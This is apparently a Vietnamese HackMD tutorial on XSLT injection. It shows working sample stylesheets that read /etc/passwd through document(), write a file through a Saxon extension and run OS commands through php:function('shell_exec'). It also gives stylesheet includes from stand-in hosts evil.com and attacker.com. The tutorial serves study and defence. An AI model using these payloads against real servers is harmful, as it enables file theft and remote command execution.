endy
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # XML is more than XXE (XSLT injection) Khi nhắc đến xml có phải chúng ta sẽ nghỉ ngay đến XXE. Tuy nhiên nếu cứ bám theo XXE ta đã bỏ qua một attack vector khác từ xml. ## XSLT là gì ? XSLT (eXtensible Stylesheet Language Transformations) là một stylesheet language có chức năng chính là chuyển đổi xml thành các định dạng khác để hiển thị. Nếu HTML có CSS thì XML cũng có XSLT ![](https://i.imgur.com/GtvXquc.png) Thông thường XSLT sẽ chuyển đổi xml thành HTML để hiển thị một cách đẹp mắt và dễ dàng ![](https://i.imgur.com/HIXYT4j.png) **Ví dụ:** example.xml: ```xml <?xml version="1.0" encoding="UTF-8"?> <catalog> <cd> <title>Empire Burlesque</title> <artist>Bob Dylan</artist> <country>USA</country> <company>Columbia</company> <price>10.90</price> <year>1985</year> </cd> <cd> <title>Hide your heart</title> <artist>Bonnie Tyler</artist> <country>UK</country> <company>CBS Records</company> <price>9.90</price> <year>1988</year> </cd> ... </catalogc> ``` example.xsl ```xml <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <html> <body> <h2>My CD Collection</h2> <table border="1"> <tr bgcolor="#9acd32"> <th style="text-align:left">Title</th> <th style="text-align:left">Artist</th> </tr> <xsl:for-each select="catalog/cd"> <tr> <td><xsl:value-of select="title"/></td> <td><xsl:value-of select="artist"/></td> </tr> </xsl:for-each> </table> </body> </html> </xsl:template> </xsl:stylesheet> ``` Kết quả khi sử dụng example.xsl lên example.xml: ![](https://i.imgur.com/eswUmjR.png) Để có thể xử lý và render ra được kết quả như trên thì ta cần dùng `XSLT processor`, giống như để xử lý XML ta cần XML parser thì XSLT cũng vậy. ![](https://i.imgur.com/QRC9wvm.png) Ở mỗi ngôn ngữ thì sử dụng XSLT processor khác nhau và cũng có những hành vi đặc trưng của riêng processor ấy ![](https://i.imgur.com/QWkcgCm.png) Trong bài này thì em sẻ chủ yếu demo trên processor `libxslt` của PHP ## XPath in XSLT Để có thể truy vấn dữ liệu trong xml để chuyển sang format khác, XSLT sẽ sử dụng `XPATH` trong attribute `select` Syntax: ```xpath <xsl:value-of select="<XPATH>"> ``` Ví dụ: ![](https://i.imgur.com/YieWUJ2.png) Ngoài ra XSLT còn defind thêm một số hàm XPath bổ sung ![](https://i.imgur.com/fDgn9Tq.png) Link: https://developer.mozilla.org/en-US/docs/Web/XPath/Functions Một số hàm được bổ sung thêm như sau: ![](https://i.imgur.com/JFgh2cl.png) Ví dụ sử dụng hàm `system-property()` để lấy thông tin của processor đang sử dụng ![](https://i.imgur.com/3TTxMxH.png) Vậy thì ta có thể lợi dụng được gì từ các hàm này không ? ## document() Ta để ý công dụng của hàm `document` ![](https://i.imgur.com/ftIfaFs.png) Nó có thể đi ra ngoài để lấy node-set về Ví dụ: ![](https://i.imgur.com/sDxfvbO.png) Nội dung file `external.txt`; ``` <title>endy</title> ``` Kết quả: ![](https://i.imgur.com/FY8qXbb.png) hmmmmmm, vậy thì sẽ ra sao nếu ta gọi đến một file trong hệ thống? ![](https://i.imgur.com/Ifavuwm.png) Kết quả: ![](https://i.imgur.com/OShICtC.png) Ta đã leak được dòng đầu tiên của `/etc/passwd` Không chỉ dừng lại ở đọc file, XSLT có thể làm được nhiều hơn thế ## Namespace in XSLT Ta xét file xml sau: ```xml <?xml version='1.0' encoding='UTF-8’?> <root> … <!–- thông tin về bàn nội thất --> <table> <name>African Coffee Table</name> <width>80</width> <length>120</length> </table> … <!– HTML table --> <table> <tr> <td>Apples</td> <td>Bananas</td> </tr> </table> </root> ``` Có 2 tag là `<table>` dẫn đến xung đột về tên và rất khó để xslt xử lý. Để giải quyết điều đó `namespace` được sinh ra Ta dùng prefix để xác định 2 tag khác nhau. ![](https://i.imgur.com/IZBoWgC.png) ![](https://i.imgur.com/Y9z49VW.png) `Namespace URI` chỉ đơn giản là một string unique dùng để đánh dấu một namespace, ví dụ ở trên thì `h` namespace ứng với http://www.w3.org/TR/html4 và `f` ứng với https://www.w3schools.com/furniture. URI không nhất thiết phải là một URL có thể truy cập, chỉ cần đơn giản là unique string URI là được Tuy nhiên namespace trong XSLT không chỉ dừng lại ở đó. ## Extension in XSLT Ngoài tác dụng tránh xung đột tên thì namespace trong XSLT còn một chức năng khác, đó chính là cho phép ta khai báo extensions functions để sử dụng trong XSLT. Đôi khi các chức năng cơ bản mà xslt cung cấp là ko đủ, ko đáp ứng được nhu cầu. Do đó người ta sẽ code các extensions, để sử dụng các extensions đó trong xslt ta sẽ dùng namespace. ![](https://i.imgur.com/bLNO93O.png) Ví dụ ở trên em dùng `saxon` extension để gọi hàm `eval` trong extension mà libxslt processor không hỗ trợ Vậy thì có những nguy cơ tiềm ẩn nào nếu attacker có thể tự do khai báo extensions và sử dụng ? ## Threat ### Write file Trong extension `saxon`, có tính năng có thể cho phép ta ghi file Ví dụ evil.xsl ``` <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:sax="http://icl.com/saxon" extension-element-prefixes="sax"> <xsl:template match="/"> <sax:output href="endy" method="text"> <xsl:value-of select="'endyyyyy...'"/> </sax:output> </xsl:template> </xsl:stylesheet> ``` Khi thực thi thành công thì sẽ không trả về bất kỳ error message nào, nhưng file đã được ghi trên server ![](https://i.imgur.com/SwOHJGB.png) Tuy nhiên attack vector này chỉ hiệu quả trong những phiên bản PHP cũ (<= 5.4.0 ), để exploit được ở những bản PHP mới thì yêu cầu cofig `setSecurityPrefs(XSL_SECPREF_NONE);` được bật ### RCE XSLT còn cho phép ta gọi đến các PHP functions thông qua namespace. Vậy có nghĩa là nếu attacker gọi các hàm nhạy cảm như các hàm thực thi OS command thì sẽ rất nguy hiểm Ví dụ: ``` <?xml version ="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:output method="html" /> <xsl:template match="/"> <xsl:value-of select="php:function('shell_exec', 'id')" /> </xsl:template> </xsl:stylesheet> ``` Kết quả: ![](https://i.imgur.com/HeS2xUA.png) Vì ý thức được độ nguy hiểm của tính năng này nên libxslt của PHP mặc định sẽ tắt nó. Để bật lên ta sẽ dùng `$processor->registerPHPFunctions();` Tuy nhiên trong các ngôn ngữ khác, cụ thể ở đây là Java, thì processor mặc định cho phép ta có thể thực thi được OS Command thông qua Xalan extensions, điều này sẽ cực kỳ nguy hiểm. ## Others #### XXE Ta thậm chí có thể exploit XXE ngay bên trong XSLT, tuy nhiên ở libxslt của PHP thì payload chạy không được (còn ở Python và Pearl thì chạy được - em cũng ko hiểu sao) #### XSS Vì giá trị trả về từ Xpath expression sẽ được render thành HTML do đó hoàn toàn tìm ẩn nguy cơ bị XSS thông qua XSLT #### Leak information Thao khảo thêm: https://blog.tint0.com/2021/09/pinging-xmlsec.html #### OOB: XSLT cho phép include external XSL bằng các cách sau: ``` <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="http://evil.com/evil.xsl"?> ``` ``` <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:import href="http://attacker.com/evil.xsl"/> <xsl:include href="http://attacker.com/evil.xsl"/> </xsl:stylesheet> ``` Tuy nhiên em chưa tìm được cách khai thác được gì từ attack vector này -> further research ## Case study: https://blog.viettelcybersecurity.com/saml-show-stopper/ ## XSLT injection in CTF https://hackmd.io/yl4wxLTxRnOMXD4wOoJ25A?view https://www.aperikube.fr/docs/aperictf_2019/js_art/ -> ko có src :(((, nhưng có thể thao khảo xem cách dùng PHP functions trong XSLT là như thế nào. ###### tags: `XXE` ## Refer: https://www.w3.org/TR/xslt-30/ https://www.w3schools.com/xml/xsl_intro.asp https://www.w3schools.com/xml/xpath_intro.asp https://developer.mozilla.org/en-US/docs/Web/XPath/Functions https://www.lenzconsulting.com/namespaces/#:~:text=Namespaces%20allow%20you,namespace%20URI. https://docstore.mik.ua/orelly/xml/xslt/ch08_01.htm https://phonexicum.github.io/infosec/xxe.html#attack-vectors https://github.com/php/php-src/blob/master/ext/xsl/tests/bug54446_with_ini.phpt https://bugs.php.net/bug.php?id=54446 https://blog.ankursundara.com/dicectf23-writeups/ https://www.aperikube.fr/docs/aperictf_2019/js_art/

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully